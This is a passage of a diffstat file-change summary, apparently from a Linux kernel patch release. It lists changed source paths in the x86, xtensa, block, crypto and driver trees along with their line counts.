arch/x86/kvm/i8254.c | 16 +- arch/x86/kvm/irq.c | 2 +- arch/x86/kvm/lapic.c | 56 ++- arch/x86/kvm/lapic.h | 2 +- arch/x86/kvm/mmu.c | 4 +- arch/x86/kvm/svm.c | 16 +- arch/x86/kvm/vmx.c | 55 ++- arch/x86/kvm/x86.c | 98 +++-- arch/x86/kvm/x86.h | 20 +- arch/x86/mm/dump_pagetables.c | 39 +- arch/x86/mm/fault.c | 43 +- arch/x86/mm/init_32.c | 1 + arch/x86/mm/init_64.c | 13 +- arch/x86/mm/mmap.c | 6 +- arch/x86/mm/pageattr.c | 2 +- arch/x86/mm/tlb.c | 24 +- arch/x86/net/bpf_jit_comp.c | 7 +- arch/x86/pci/acpi.c | 11 + arch/x86/pci/common.c | 16 + arch/x86/pci/i386.c | 4 + arch/x86/platform/efi/efi.c | 7 + arch/x86/platform/efi/efi_32.c | 11 +- arch/x86/platform/efi/efi_64.c | 3 - arch/x86/power/hibernate_32.c | 4 +- arch/x86/power/hibernate_64.c | 4 +- arch/x86/um/sys_call_table_32.c | 2 +- arch/x86/um/sys_call_table_64.c | 2 +- arch/x86/vdso/vdso32-setup.c | 8 - arch/x86/vdso/vdso32/sigreturn.S | 1 + arch/x86/vdso/vma.c | 43 +- arch/x86/xen/enlighten.c | 65 ++- arch/x86/xen/suspend.c | 3 +- arch/xtensa/Kconfig | 30 ++ arch/xtensa/Makefile | 4 +- arch/xtensa/boot/Makefile | 2 +- arch/xtensa/include/asm/pgtable.h | 7 +- arch/xtensa/include/asm/traps.h | 29 +- arch/xtensa/include/asm/uaccess.h | 5 + arch/xtensa/include/uapi/asm/ioctls.h | 19 +- arch/xtensa/include/uapi/asm/unistd.h | 5 +- arch/xtensa/kernel/entry.S | 33 +- arch/xtensa/kernel/head.S | 2 +- arch/xtensa/kernel/pci-dma.c | 12 +- arch/xtensa/mm/fault.c | 2 + arch/xtensa/platforms/iss/console.c | 10 +- arch/xtensa/platforms/xtfpga/Makefile | 3 +- .../xtfpga/include/platform/hardware.h | 3 - .../platforms/xtfpga/include/platform/lcd.h | 15 + arch/xtensa/platforms/xtfpga/lcd.c | 55 ++- block/blk-cgroup.c | 20 +- block/blk-core.c | 12 + block/blk-settings.c | 4 +- block/blk-tag.c | 33 +- block/blk-throttle.c | 3 + block/cfq-iosched.c | 27 +- block/compat_ioctl.c | 1 + block/genhd.c | 37 +- block/partition-generic.c | 2 +- block/partitions/mac.c | 10 +- block/scsi_ioctl.c | 3 +- crypto/842.c | 1 + crypto/ablkcipher.c | 2 +- crypto/aes_generic.c | 3 +- crypto/af_alg.c | 9 +- crypto/ahash.c | 6 +- crypto/algapi.c | 6 +- crypto/algif_hash.c | 16 +- crypto/algif_skcipher.c | 2 +- crypto/ansi_cprng.c | 3 +- crypto/anubis.c | 1 + crypto/api.c | 10 +- crypto/arc4.c | 1 + crypto/authenc.c | 1 + crypto/authencesn.c | 1 + crypto/blowfish_generic.c | 3 +- crypto/camellia_generic.c | 3 +- crypto/cast5_generic.c | 3 +- crypto/cast6_generic.c | 3 +- crypto/cbc.c | 1 + crypto/ccm.c | 5 +- crypto/chainiv.c | 1 + crypto/cmac.c | 1 + crypto/crc32.c | 1 + crypto/crc32c.c | 1 + crypto/cryptd.c | 1 + crypto/crypto_null.c | 6 +- crypto/crypto_user.c | 8 +- crypto/ctr.c | 3 +- crypto/cts.c | 1 + crypto/deflate.c | 2 +- crypto/des_generic.c | 7 +- crypto/ecb.c | 1 + crypto/eseqiv.c | 1 + crypto/fcrypt.c | 1 + crypto/gcm.c | 14 +- crypto/ghash-generic.c | 3 +- crypto/hmac.c | 1 + crypto/khazad.c | 1 + crypto/krng.c | 3 +- crypto/lrw.c | 1 + crypto/lzo.c | 1 + crypto/md4.c | 2 +- crypto/md5.c | 1 + crypto/michael_mic.c | 1 + crypto/pcbc.c | 1 + crypto/pcrypt.c | 1 + crypto/rmd128.c | 1 + crypto/rmd160.c | 1 + crypto/rmd256.c | 1 + crypto/rmd320.c | 1 + crypto/salsa20_generic.c | 3 +- crypto/scatterwalk.c | 3 +- crypto/seed.c | 1 + crypto/seqiv.c | 1 + crypto/serpent_generic.c | 5 +- crypto/sha1_generic.c | 3 +- crypto/sha256_generic.c | 6 +- crypto/sha512_generic.c | 6 +- crypto/tea.c | 5 +- crypto/tgr192.c | 5 +- crypto/twofish_generic.c | 3 +- crypto/vmac.c | 1 + crypto/wp512.c | 5 +- crypto/xcbc.c | 1 + crypto/xts.c | 1 + crypto/zlib.c | 1 + drivers/acpi/acpica/aclocal.h | 1 + drivers/acpi/acpica/acmacros.h | 10 +- drivers/acpi/acpica/acobject.h | 1 + drivers/acpi/acpica/dsfield.c | 2 + drivers/acpi/acpica/dsmethod.c | 3 + drivers/acpi/acpica/dsopcode.c | 7 +- drivers/acpi/acpica/evregion.c | 47 +- drivers/acpi/acpica/exdump.c | 4 +- drivers/acpi/acpica/exfield.c | 67 +++ drivers/acpi/acpica/exfldio.c | 10 +- drivers/acpi/acpica/exprep.c | 2 + drivers/acpi/acpica/exregion.c | 8 +- drivers/acpi/acpica/hwvalid.c | 16 +- drivers/acpi/acpica/nsdump.c | 12 +- drivers/acpi/acpica/tbinstal.c | 5 +- drivers/acpi/acpica/tbutils.c | 20 +- drivers/acpi/acpica/tbxfroot.c | 7 +- drivers/acpi/acpica/utaddress.c | 24 +- drivers/acpi/acpica/utcopy.c | 6 + drivers/acpi/acpica/utxfinit.c | 10 +- drivers/acpi/osl.c | 6 +- drivers/acpi/pci_root.c | 67 +-- drivers/acpi/processor_idle.c | 6 +- drivers/acpi/scan.c | 15 +- drivers/acpi/sysfs.c | 7 +- drivers/acpi/video.c | 11 + drivers/ata/ahci.c | 54 ++- drivers/ata/ata_piix.c | 8 + drivers/ata/libahci.c | 16 +- drivers/ata/libata-core.c | 53 ++- drivers/ata/libata-eh.c | 5 +- drivers/ata/libata-pmp.c | 7 + drivers/ata/libata-scsi.c | 14 +- drivers/ata/libata-sff.c | 64 +-- drivers/ata/pata_octeon_cf.c | 2 +- drivers/ata/pata_scc.c | 15 +- drivers/ata/pata_serverworks.c | 13 +- drivers/ata/sata_dwc_460ex.c | 26 +- drivers/ata/sata_fsl.c | 2 +- drivers/ata/sata_sil.c | 3 + drivers/auxdisplay/ks0108.c | 1 + drivers/base/bus.c | 8 +- drivers/base/core.c | 4 +- drivers/base/devres.c | 4 +- drivers/base/firmware_class.c | 16 +- drivers/base/module.c | 8 +- drivers/base/platform.c | 8 +- drivers/base/regmap/regmap-debugfs.c | 5 +- drivers/base/regmap/regmap.c | 2 +- drivers/block/drbd/drbd_interval.c | 4 + drivers/block/drbd/drbd_nl.c | 6 + drivers/block/drbd/drbd_req.c | 1 + drivers/block/nbd.c | 12 +- drivers/block/paride/pd.c | 4 +- drivers/block/paride/pt.c | 4 +- drivers/block/rbd.c | 102 +++-- drivers/block/sunvdc.c | 176 ++++++-- drivers/block/xen-blkfront.c | 3 +- drivers/bluetooth/ath3k.c | 12 + drivers/bluetooth/btusb.c | 24 ++ drivers/bluetooth/hci_h5.c | 3 +- drivers/bluetooth/hci_vhci.c | 1 + drivers/bus/mvebu-mbus.c | 18 +- drivers/char/agp/intel-gtt.c | 2 +- drivers/char/ipmi/ipmi_si_intf.c | 10 +- drivers/char/random.c | 10 +- drivers/char/tpm/tpm.c | 69 +-- drivers/char/tpm/tpm.h | 3 + drivers/char/tpm/tpm_i2c_stm_st33.c | 2 +- drivers/char/tpm/tpm_ibmvtpm.c | 41 +- drivers/char/tpm/tpm_ibmvtpm.h | 6 +- drivers/char/tpm/tpm_tis.c | 107 ++++- drivers/char/virtio_console.c | 3 +- drivers/clk/sunxi/clk-factors.c | 2 +- drivers/clk/sunxi/clk-factors.h | 1 + drivers/clk/versatile/clk-sp810.c | 8 +- drivers/clocksource/exynos_mct.c | 4 +- drivers/clocksource/vt8500_timer.c | 6 +- drivers/connector/connector.c | 11 +- drivers/cpufreq/intel_pstate.c | 1 + drivers/cpufreq/speedstep-lib.c | 3 + drivers/cpufreq/speedstep-smi.c | 12 + drivers/cpuidle/cpuidle.c | 3 + drivers/cpuidle/governors/menu.c | 2 +- drivers/crypto/caam/caamhash.c | 7 +- drivers/crypto/caam/caamrng.c | 2 +- drivers/crypto/ixp4xx_crypto.c | 1 - drivers/crypto/nx/nx.c | 2 +- drivers/crypto/padlock-aes.c | 2 +- drivers/crypto/padlock-sha.c | 8 +- drivers/crypto/talitos.c | 4 +- drivers/crypto/ux500/cryp/cryp_core.c | 29 +- drivers/crypto/ux500/hash/hash_core.c | 12 +- drivers/dma/mv_xor.c | 72 ++-- drivers/dma/mv_xor.h | 1 + drivers/dma/omap-dma.c | 1 + drivers/edac/amd64_edac.c | 2 +- drivers/edac/cpc925_edac.c | 2 +- drivers/edac/e7xxx_edac.c | 2 +- drivers/edac/edac_mc_sysfs.c | 18 +- drivers/edac/i3200_edac.c | 4 +- drivers/edac/i7core_edac.c | 2 +- drivers/edac/i82860_edac.c | 2 +- drivers/edac/ppc4xx_edac.c | 2 +- drivers/edac/sb_edac.c | 48 ++- drivers/firewire/core-cdev.c | 3 +- drivers/firewire/ohci.c | 5 + drivers/firmware/efi/efi-pstore.c | 18 +- drivers/firmware/efi/efivars.c | 34 +- drivers/firmware/efi/vars.c | 187 +++++--- drivers/gpio/gpio-pca953x.c | 2 +- drivers/gpio/gpio-tps65912.c | 14 +- drivers/gpio/gpiolib-of.c | 11 +- drivers/gpio/gpiolib.c | 51 ++- drivers/gpu/drm/ast/ast_drv.h | 1 + drivers/gpu/drm/ast/ast_fb.c | 7 + drivers/gpu/drm/ast/ast_main.c | 5 +- drivers/gpu/drm/ast/ast_mode.c | 6 +- drivers/gpu/drm/drm_crtc.c | 7 +- drivers/gpu/drm/drm_fb_helper.c | 5 +- drivers/gpu/drm/drm_lock.c | 6 + drivers/gpu/drm/gma500/mdfld_dsi_pkg_sender.c | 2 +- drivers/gpu/drm/i915/i915_drv.h | 4 +- drivers/gpu/drm/i915/i915_gem.c | 2 +- drivers/gpu/drm/i915/i915_reg.h | 2 + drivers/gpu/drm/i915/intel_bios.c | 2 +- drivers/gpu/drm/i915/intel_crt.c | 2 +- drivers/gpu/drm/i915/intel_i2c.c | 86 +++- drivers/gpu/drm/i915/intel_lvds.c | 42 +- drivers/gpu/drm/i915/intel_ringbuffer.c | 6 + drivers/gpu/drm/i915/intel_tv.c | 4 + drivers/gpu/drm/mgag200/mgag200_mode.c | 5 + .../gpu/drm/nouveau/core/subdev/bios/dcb.c | 1 + drivers/gpu/drm/nouveau/nouveau_gem.c | 5 +- drivers/gpu/drm/omapdrm/omap_dmm_tiler.c | 6 +- drivers/gpu/drm/omapdrm/omap_gem.c | 10 +- drivers/gpu/drm/omapdrm/omap_plane.c | 4 +- drivers/gpu/drm/qxl/qxl_cmd.c | 1 + drivers/gpu/drm/qxl/qxl_irq.c | 3 + drivers/gpu/drm/radeon/atombios_crtc.c | 8 +- drivers/gpu/drm/radeon/atombios_dp.c | 4 + drivers/gpu/drm/radeon/atombios_encoders.c | 16 +- drivers/gpu/drm/radeon/evergreen.c | 4 + drivers/gpu/drm/radeon/ni.c | 8 +- drivers/gpu/drm/radeon/r100.c | 4 + drivers/gpu/drm/radeon/r600.c | 3 + drivers/gpu/drm/radeon/radeon_atombios.c | 13 +- drivers/gpu/drm/radeon/radeon_atpx_handler.c | 5 + drivers/gpu/drm/radeon/radeon_bios.c | 10 +- drivers/gpu/drm/radeon/radeon_combios.c | 15 +- drivers/gpu/drm/radeon/radeon_connectors.c | 20 +- drivers/gpu/drm/radeon/radeon_cs.c | 4 +- drivers/gpu/drm/radeon/radeon_device.c | 21 + drivers/gpu/drm/radeon/radeon_display.c | 5 + drivers/gpu/drm/radeon/radeon_gart.c | 12 +- drivers/gpu/drm/radeon/radeon_irq_kms.c | 7 + drivers/gpu/drm/radeon/radeon_kms.c | 2 + drivers/gpu/drm/radeon/radeon_sa.c | 7 + drivers/gpu/drm/radeon/radeon_ttm.c | 4 +- drivers/gpu/drm/radeon/rs600.c | 4 + drivers/gpu/drm/radeon/si.c | 9 +- drivers/gpu/drm/tilcdc/tilcdc_drv.c | 67 ++- drivers/gpu/drm/tilcdc/tilcdc_panel.c | 5 +- drivers/gpu/drm/tilcdc/tilcdc_slave.c | 1 + drivers/gpu/drm/tilcdc/tilcdc_tfp410.c | 1 + drivers/gpu/drm/ttm/ttm_page_alloc_dma.c | 9 +- drivers/gpu/drm/vmwgfx/vmwgfx_drv.c | 7 + drivers/gpu/drm/vmwgfx/vmwgfx_fence.c | 17 +- drivers/gpu/drm/vmwgfx/vmwgfx_fifo.c | 3 +- drivers/gpu/vga/vgaarb.c | 6 +- drivers/hid/hid-cherry.c | 2 +- drivers/hid/hid-core.c | 3 +- drivers/hid/hid-ids.h | 1 + drivers/hid/hid-input.c | 22 +- drivers/hid/hid-kye.c | 6 +- drivers/hid/hid-lg.c | 4 +- drivers/hid/hid-logitech-dj.c | 54 +-- drivers/hid/hid-logitech-dj.h | 1 + drivers/hid/hid-magicmouse.c | 10 + drivers/hid/hid-monterey.c | 2 +- drivers/hid/hid-petalynx.c | 2 +- drivers/hid/hid-picolcd_core.c | 6 + drivers/hid/hid-roccat-pyra.c | 8 +- drivers/hid/hid-sunplus.c | 2 +- drivers/hid/i2c-hid/i2c-hid.c | 15 +- drivers/hid/usbhid/hid-core.c | 79 ++-- drivers/hid/usbhid/hid-quirks.c | 1 + drivers/hv/channel.c | 27 +- drivers/hv/channel_mgmt.c | 12 +- drivers/hv/connection.c | 17 +- drivers/hv/hv_kvp.c | 14 +- drivers/hv/hv_util.c | 2 +- drivers/hv/vmbus_drv.c | 44 +- drivers/hwmon/ads1015.c | 4 +- drivers/hwmon/adt7470.c | 6 +- drivers/hwmon/da9052-hwmon.c | 2 +- drivers/hwmon/da9055-hwmon.c | 2 +- drivers/hwmon/dme1737.c | 33 +- drivers/hwmon/gpio-fan.c | 2 +- drivers/hwmon/lm78.c | 2 +- drivers/hwmon/lm85.c | 9 +- drivers/hwmon/max1111.c | 6 + drivers/hwmon/mcp3021.c | 14 +- drivers/hwmon/ntc_thermistor.c | 9 + drivers/hwmon/sis5595.c | 2 +- drivers/hwmon/smsc47m192.c | 4 +- drivers/i2c/busses/i2c-at91.c | 106 +++-- drivers/i2c/busses/i2c-cpm.c | 4 +- drivers/i2c/busses/i2c-davinci.c | 8 +- drivers/i2c/busses/i2c-omap.c | 10 +- drivers/i2c/busses/i2c-rcar.c | 7 +- drivers/i2c/i2c-core.c | 3 + drivers/iio/accel/kxsd9.c | 4 +- drivers/iio/adc/ad7266.c | 6 +- drivers/iio/adc/ad7793.c | 2 +- drivers/iio/adc/ad_sigma_delta.c | 2 +- .../common/st_sensors/st_sensors_trigger.c | 2 +- drivers/iio/dac/ad5064.c | 8 +- drivers/iio/dac/ad5624r_spi.c | 4 +- drivers/iio/dac/mcp4725.c | 1 + drivers/iio/gyro/itg3200_buffer.c | 2 +- drivers/iio/imu/adis16400.h | 1 + drivers/iio/imu/adis16400_core.c | 41 +- drivers/iio/imu/adis16480.c | 39 +- drivers/iio/imu/adis_buffer.c | 2 +- drivers/iio/imu/adis_trigger.c | 2 +- drivers/iio/imu/inv_mpu6050/inv_mpu_ring.c | 25 +- drivers/iio/imu/inv_mpu6050/inv_mpu_trigger.c | 2 +- drivers/iio/industrialio-buffer.c | 2 +- drivers/iio/industrialio-trigger.c | 23 +- drivers/iio/inkern.c | 2 +- drivers/iio/magnetometer/st_magn_core.c | 52 ++- drivers/infiniband/core/cm.c | 10 +- drivers/infiniband/core/iwcm.c | 27 ++ drivers/infiniband/core/ucm.c | 4 + drivers/infiniband/core/ucma.c | 4 + drivers/infiniband/core/umem.c | 11 + drivers/infiniband/core/uverbs.h | 3 +- drivers/infiniband/core/uverbs_cmd.c | 10 +- drivers/infiniband/core/uverbs_main.c | 49 ++- drivers/infiniband/hw/cxgb3/iwch_cm.c | 4 +- drivers/infiniband/hw/mlx4/ah.c | 8 +- drivers/infiniband/hw/mlx4/mad.c | 20 +- drivers/infiniband/hw/mlx4/qp.c | 5 +- drivers/infiniband/hw/mlx4/sysfs.c | 5 +- drivers/infiniband/hw/qib/qib.h | 36 +- drivers/infiniband/hw/qib/qib_eeprom.c | 181 -------- drivers/infiniband/hw/qib/qib_file_ops.c | 5 + drivers/infiniband/hw/qib/qib_iba6120.c | 2 - drivers/infiniband/hw/qib/qib_iba7220.c | 2 - drivers/infiniband/hw/qib/qib_iba7322.c | 2 - drivers/infiniband/hw/qib/qib_init.c | 1 - drivers/infiniband/hw/qib/qib_keys.c | 4 + drivers/infiniband/hw/qib/qib_sysfs.c | 24 -- drivers/infiniband/hw/qib/qib_verbs.c | 14 +- drivers/infiniband/hw/qib/qib_verbs.h | 2 + drivers/infiniband/hw/qib/qib_verbs_mcast.c | 35 +- drivers/infiniband/ulp/ipoib/ipoib_main.c | 4 +- drivers/infiniband/ulp/isert/ib_isert.c | 406 +++++++++++++----- drivers/infiniband/ulp/isert/ib_isert.h | 7 +- drivers/infiniband/ulp/srp/ib_srp.c | 38 +- drivers/infiniband/ulp/srpt/ib_srpt.c | 8 + drivers/input/input.c | 6 +- drivers/input/joystick/xpad.c | 19 +- drivers/input/keyboard/atkbd.c | 8 - drivers/input/misc/ati_remote2.c | 36 +- drivers/input/misc/ims-pcu.c | 4 + drivers/input/misc/max8997_haptic.c | 6 +- drivers/input/misc/powermate.c | 3 + drivers/input/misc/uinput.c | 6 + drivers/input/mouse/alps.c | 11 +- drivers/input/mouse/elantech.c | 41 +- drivers/input/mouse/elantech.h | 1 + drivers/input/mouse/synaptics.c | 68 ++- drivers/input/mouse/synaptics.h | 11 + drivers/input/serio/i8042-x86ia64io.h | 91 ++++ drivers/input/serio/i8042.c | 14 + drivers/input/serio/serport.c | 45 +- drivers/input/tablet/gtco.c | 10 +- drivers/input/touchscreen/ads7846.c | 8 +- drivers/input/touchscreen/usbtouchscreen.c | 3 + drivers/input/touchscreen/wacom_w8001.c | 2 +- drivers/iommu/amd_iommu.c | 14 +- drivers/iommu/amd_iommu_types.h | 1 + drivers/iommu/dmar.c | 2 +- drivers/iommu/intel-iommu.c | 8 +- drivers/iommu/intel_irq_remapping.c | 2 +- drivers/irqchip/irq-gic.c | 6 +- drivers/isdn/gigaset/ser-gigaset.c | 11 +- drivers/isdn/hardware/mISDN/hfcpci.c | 4 +- drivers/isdn/i4l/isdn_ppp.c | 12 +- drivers/lguest/core.c | 2 +- drivers/lguest/x86/core.c | 2 +- drivers/macintosh/windfarm_core.c | 2 +- drivers/md/bcache/super.c | 7 +- drivers/md/bitmap.c | 18 +- drivers/md/dm-bufio.c | 21 +- drivers/md/dm-cache-metadata.c | 113 ++++- drivers/md/dm-cache-policy-cleaner.c | 2 +- drivers/md/dm-crypt.c | 20 +- drivers/md/dm-exception-store.h | 2 +- drivers/md/dm-flakey.c | 23 +- drivers/md/dm-io.c | 6 + drivers/md/dm-log-userspace-transfer.c | 2 +- drivers/md/dm-mpath.c | 7 +- drivers/md/dm-raid.c | 14 +- drivers/md/dm-raid1.c | 9 + drivers/md/dm-snap-persistent.c | 5 +- drivers/md/dm-snap-transient.c | 4 +- drivers/md/dm-snap.c | 22 +- drivers/md/dm-thin-metadata.c | 19 +- drivers/md/dm-thin.c | 10 +- drivers/md/dm.c | 33 +- drivers/md/md.c | 4 +- .../md/persistent-data/dm-btree-internal.h | 12 + drivers/md/persistent-data/dm-btree-remove.c | 35 +- drivers/md/persistent-data/dm-btree-spine.c | 39 +- drivers/md/persistent-data/dm-btree.c | 55 +-- .../persistent-data/dm-space-map-metadata.c | 4 +- drivers/md/raid1.c | 31 +- drivers/md/raid10.c | 18 +- drivers/md/raid5.c | 33 +- drivers/media/dvb-core/dvb_frontend.c | 6 +- drivers/media/dvb-frontends/af9013.c | 4 + drivers/media/dvb-frontends/cx24116.c | 8 +- drivers/media/dvb-frontends/ds3000.c | 7 + drivers/media/dvb-frontends/s5h1420.c | 2 +- drivers/media/dvb-frontends/stb6100.c | 2 +- drivers/media/dvb-frontends/tda1004x.c | 9 + drivers/media/dvb-frontends/tda10071.c | 6 +- drivers/media/i2c/smiapp-pll.c | 4 +- drivers/media/i2c/smiapp/smiapp-core.c | 4 +- drivers/media/i2c/tda7432.c | 2 +- drivers/media/media-device.c | 2 - drivers/media/pci/bt8xx/bttv-driver.c | 26 +- drivers/media/pci/cx18/cx18-driver.c | 1 + drivers/media/pci/saa7134/saa7134-alsa.c | 5 +- drivers/media/platform/s5p-mfc/s5p_mfc.c | 11 + .../media/platform/s5p-mfc/s5p_mfc_common.h | 2 +- drivers/media/rc/ir-lirc-codec.c | 12 +- drivers/media/rc/rc-main.c | 3 - drivers/media/tuners/xc4000.c | 20 +- drivers/media/tuners/xc5000.c | 22 +- drivers/media/usb/au0828/au0828-video.c | 34 +- drivers/media/usb/dvb-usb-v2/lmedm04.c | 7 + drivers/media/usb/dvb-usb/af9005.c | 3 + drivers/media/usb/em28xx/em28xx-video.c | 10 +- drivers/media/usb/gspca/ov534.c | 9 +- drivers/media/usb/gspca/pac7302.c | 1 + drivers/media/usb/gspca/topro.c | 6 +- drivers/media/usb/hdpvr/hdpvr-video.c | 6 +- drivers/media/usb/pwc/pwc-if.c | 6 + drivers/media/usb/stk1160/stk1160-v4l.c | 17 +- drivers/media/usb/ttusb-dec/ttusbdecfe.c | 3 + drivers/media/usb/usbvision/usbvision-video.c | 40 +- drivers/media/usb/uvc/uvc_driver.c | 6 +- drivers/media/v4l2-core/v4l2-common.c | 9 +- drivers/media/v4l2-core/v4l2-compat-ioctl32.c | 30 +- drivers/media/v4l2-core/videobuf2-core.c | 15 +- .../media/v4l2-core/videobuf2-dma-contig.c | 5 +- drivers/memstick/core/mspro_block.c | 3 +- drivers/message/fusion/mptspi.c | 5 + drivers/mfd/omap-usb-host.c | 2 +- drivers/mfd/omap-usb-tll.c | 9 +- drivers/mfd/rtsx_pcr.c | 2 +- drivers/mfd/sm501.c | 2 +- drivers/mfd/tc6393xb.c | 13 +- drivers/misc/Kconfig | 2 +- drivers/misc/ad525x_dpot.c | 2 +- drivers/misc/mei/bus.c | 2 +- drivers/misc/mei/client.c | 2 + drivers/misc/mei/nfc.c | 11 +- drivers/mmc/card/block.c | 44 +- drivers/mmc/card/queue.c | 2 +- drivers/mmc/card/queue.h | 2 + drivers/mmc/core/core.c | 4 +- drivers/mmc/core/mmc.c | 7 + drivers/mmc/host/atmel-mci.c | 9 +- drivers/mmc/host/mmci.c | 2 +- drivers/mmc/host/rtsx_pci_sdmmc.c | 7 + drivers/mmc/host/sdhci-esdhc.h | 2 +- drivers/mmc/host/sdhci-pxav3.c | 5 +- drivers/mtd/ftl.c | 1 - drivers/mtd/maps/dc21285.c | 4 +- drivers/mtd/mtd_blkdevs.c | 5 + drivers/mtd/mtdpart.c | 4 +- drivers/mtd/nand/omap2.c | 2 +- drivers/mtd/onenand/onenand_base.c | 3 +- drivers/mtd/ubi/attach.c | 2 +- drivers/mtd/ubi/build.c | 5 +- drivers/mtd/ubi/cdev.c | 2 +- drivers/mtd/ubi/eba.c | 3 +- drivers/mtd/ubi/fastmap.c | 1 + drivers/mtd/ubi/io.c | 5 + drivers/mtd/ubi/misc.c | 2 + drivers/mtd/ubi/upd.c | 12 +- drivers/mtd/ubi/vmt.c | 25 +- drivers/mtd/ubi/vtbl.c | 1 + drivers/mtd/ubi/wl.c | 13 +- drivers/net/Kconfig | 2 + drivers/net/bonding/bond_main.c | 21 + drivers/net/can/at91_can.c | 5 +- drivers/net/can/dev.c | 24 +- drivers/net/can/sja1000/sja1000.c | 6 + drivers/net/can/usb/ems_usb.c | 14 +- drivers/net/can/usb/esd_usb2.c | 1 + drivers/net/can/usb/kvaser_usb.c | 46 +- drivers/net/can/usb/peak_usb/pcan_usb_core.c | 17 +- drivers/net/can/usb/peak_usb/pcan_usb_pro.c | 3 +- drivers/net/ethernet/amd/pcnet32.c | 31 +- drivers/net/ethernet/atheros/alx/main.c | 31 +- .../net/ethernet/atheros/atl1c/atl1c_main.c | 7 +- drivers/net/ethernet/atheros/atlx/atl2.c | 2 +- drivers/net/ethernet/broadcom/bnx2.c | 6 +- drivers/net/ethernet/broadcom/bnx2x/bnx2x.h | 1 + .../net/ethernet/broadcom/bnx2x/bnx2x_cmn.c | 12 +- drivers/net/ethernet/broadcom/tg3.c | 76 ++-- drivers/net/ethernet/cisco/enic/enic_main.c | 12 +- drivers/net/ethernet/emulex/benet/be_main.c | 4 +- drivers/net/ethernet/ibm/ibmveth.c | 18 +- drivers/net/ethernet/intel/e1000/e1000_main.c | 10 +- drivers/net/ethernet/intel/igb/igb_main.c | 4 + drivers/net/ethernet/intel/ixgb/ixgb_main.c | 6 +- drivers/net/ethernet/jme.c | 3 +- drivers/net/ethernet/marvell/mvneta.c | 214 ++++----- drivers/net/ethernet/mellanox/mlx4/cmd.c | 2 +- drivers/net/ethernet/mellanox/mlx4/en_tx.c | 61 ++- drivers/net/ethernet/mellanox/mlx4/eq.c | 2 +- .../ethernet/mellanox/mlx4/resource_tracker.c | 2 +- .../net/ethernet/myricom/myri10ge/myri10ge.c | 88 ++-- .../ethernet/qlogic/netxen/netxen_nic_main.c | 5 +- drivers/net/ethernet/qlogic/qlge/qlge_main.c | 11 + drivers/net/ethernet/realtek/8139cp.c | 2 +- drivers/net/ethernet/realtek/8139too.c | 4 +- drivers/net/ethernet/realtek/r8169.c | 6 +- drivers/net/ethernet/renesas/sh_eth.c | 7 +- .../ethernet/stmicro/stmmac/stmmac_ethtool.c | 7 +- drivers/net/ethernet/sun/sunvnet.c | 24 +- drivers/net/ethernet/ti/cpsw.c | 22 + drivers/net/hyperv/netvsc_drv.c | 3 +- drivers/net/ieee802154/fakehard.c | 13 +- drivers/net/irda/irtty-sir.c | 10 - drivers/net/macvlan.c | 1 + drivers/net/macvtap.c | 9 +- drivers/net/phy/broadcom.c | 2 +- drivers/net/phy/dp83640.c | 2 +- drivers/net/phy/phy.c | 30 +- drivers/net/ppp/ppp_deflate.c | 2 +- drivers/net/ppp/ppp_generic.c | 8 +- drivers/net/ppp/pppoe.c | 5 +- drivers/net/ppp/pptp.c | 12 +- drivers/net/rionet.c | 4 +- drivers/net/slip/slhc.c | 12 +- drivers/net/slip/slip.c | 2 +- drivers/net/team/team.c | 16 +- drivers/net/usb/asix_devices.c | 16 +- drivers/net/usb/ax88179_178a.c | 7 +- drivers/net/usb/cdc_ncm.c | 13 +- drivers/net/usb/cx82310_eth.c | 11 +- drivers/net/usb/plusb.c | 5 + drivers/net/usb/qmi_wwan.c | 6 + drivers/net/usb/usbnet.c | 7 +- drivers/net/veth.c | 6 - drivers/net/virtio_net.c | 4 +- drivers/net/vxlan.c | 2 +- drivers/net/wan/farsync.c | 2 +- drivers/net/wan/x25_asy.c | 6 +- drivers/net/wireless/ath/ath5k/led.c | 2 +- drivers/net/wireless/ath/ath5k/qcu.c | 8 +- drivers/net/wireless/ath/ath5k/reset.c | 2 +- drivers/net/wireless/ath/ath9k/eeprom.c | 7 +- drivers/net/wireless/ath/ath9k/hw.h | 4 +- drivers/net/wireless/ath/ath9k/init.c | 1 + drivers/net/wireless/ath/ath9k/mac.c | 9 +- drivers/net/wireless/ath/ath9k/main.c | 12 +- drivers/net/wireless/ath/carl9170/carl9170.h | 1 + drivers/net/wireless/ath/carl9170/usb.c | 31 +- drivers/net/wireless/iwlwifi/dvm/dev.h | 1 - drivers/net/wireless/iwlwifi/dvm/lib.c | 2 +- drivers/net/wireless/iwlwifi/dvm/ucode.c | 5 - drivers/net/wireless/iwlwifi/iwl-trans.h | 2 + drivers/net/wireless/iwlwifi/mvm/d3.c | 12 +- .../net/wireless/iwlwifi/mvm/fw-api-power.h | 35 +- drivers/net/wireless/iwlwifi/mvm/fw-api.h | 1 + drivers/net/wireless/iwlwifi/mvm/fw.c | 9 + drivers/net/wireless/iwlwifi/mvm/mac80211.c | 3 - drivers/net/wireless/iwlwifi/mvm/ops.c | 1 + drivers/net/wireless/iwlwifi/mvm/tx.c | 5 + drivers/net/wireless/iwlwifi/pcie/drv.c | 4 + drivers/net/wireless/iwlwifi/pcie/trans.c | 17 +- drivers/net/wireless/iwlwifi/pcie/tx.c | 7 +- drivers/net/wireless/mac80211_hwsim.c | 1 + drivers/net/wireless/mwifiex/debugfs.c | 14 +- drivers/net/wireless/mwifiex/main.c | 1 + drivers/net/wireless/rt2x00/rt2800.h | 2 +- drivers/net/wireless/rt2x00/rt2800usb.c | 2 + drivers/net/wireless/rt2x00/rt2x00queue.c | 50 +-- drivers/net/wireless/rtlwifi/base.c | 4 +- drivers/net/wireless/rtlwifi/rtl8192cu/sw.c | 4 + drivers/net/wireless/rtlwifi/usb.c | 2 +- drivers/net/wireless/ti/wl18xx/debugfs.c | 2 +- drivers/net/wireless/ti/wlcore/debugfs.h | 4 +- drivers/net/wireless/ti/wlcore/io.h | 10 +- drivers/net/wireless/ti/wlcore/spi.c | 10 +- drivers/net/xen-netback/common.h | 4 + drivers/net/xen-netback/interface.c | 17 +- drivers/net/xen-netback/netback.c | 6 + drivers/net/xen-netback/xenbus.c | 33 +- drivers/net/xen-netfront.c | 5 - drivers/nfc/microread/microread.c | 16 +- drivers/of/address.c | 25 +- drivers/of/base.c | 88 +--- drivers/of/selftest.c | 66 ++- drivers/parisc/iommu-helpers.h | 15 +- drivers/parport/Kconfig | 4 +- drivers/pci/msi.c | 26 ++ drivers/pci/pci-driver.c | 2 +- drivers/pci/pci-sysfs.c | 20 +- drivers/pci/pcie/aer/aerdrv.c | 4 +- drivers/pci/pcie/aer/aerdrv.h | 1 - 